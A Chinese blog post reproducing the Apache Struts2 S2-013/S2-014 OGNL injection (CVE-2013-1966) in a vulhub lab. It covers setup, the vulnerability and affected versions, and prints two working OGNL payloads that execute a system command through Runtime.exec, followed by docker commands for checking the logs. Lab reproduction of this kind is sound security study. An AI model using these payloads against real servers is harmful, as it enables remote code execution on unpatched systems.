Loading

CVE-2013-1966 S2-013/014复现

0X00-引言


回家喽,养猪去喽,学了半年的母猪产后护理终于可以实现喽😛

0X01-环境搭建


靶机:CentOS Linux 7

攻击机:windows server 2016 && Kail

环境:vulhub

项目地址:https://github.com/vulhub/vulhub

搭建vulhub请访问:空白centos7 64 搭建vulhub(详细)

0X02-漏洞描述


Struts2 标签中<s:a><s:url>都包含一个 includeParams 属性,其值可以为 none,get 或 set all,参考官方对应的含义如下:

  1. none - 链接不包含请求的任意参数值(默认)
  2. get - 链接只包含 GET 请求中的参数和其值
  3. 全部 - 链接包含 GET 和 POST 所有参数和其价值

<s:a>支持显示一个链接,当includeParams=all的时候,参数超本次的GET和POST都采用URL的参数上。

S2-014 是对 S2-013 修复的加强,在 S2-013 修复的代码中疏忽了 ${ognl_exp} OGNL 表达式执行的,因此 S2-014 是他的修复方式。

影响版本:2.0.0 - 2.3.14.1

漏洞详情:

0X03-漏洞复现


01-任意命令执行

poc

${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}
// 或
${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}

注意url编码

image-20211202103505302

进入环境点击

image-20211202103340200

抓包-修改

image-20211202103854945

0X04-漏洞分析


略,暂时看不懂源码以后会补充

0X05-查看日志


docker ps #查看容器ID
docker exec -it ID /bin/bash #进入
cd logs #进入日志目录
cat localhost_access_log.2021-12-02.txt #查看日志
exit #退出容器

日志中会记录攻击手法

image-20211202104120824

0X06-参考


S2-013/S2-014 远程代码执行漏洞

posted @ 2021-12-02 21:37  美式加糖  阅读(385)  评论(0编辑  收藏  举报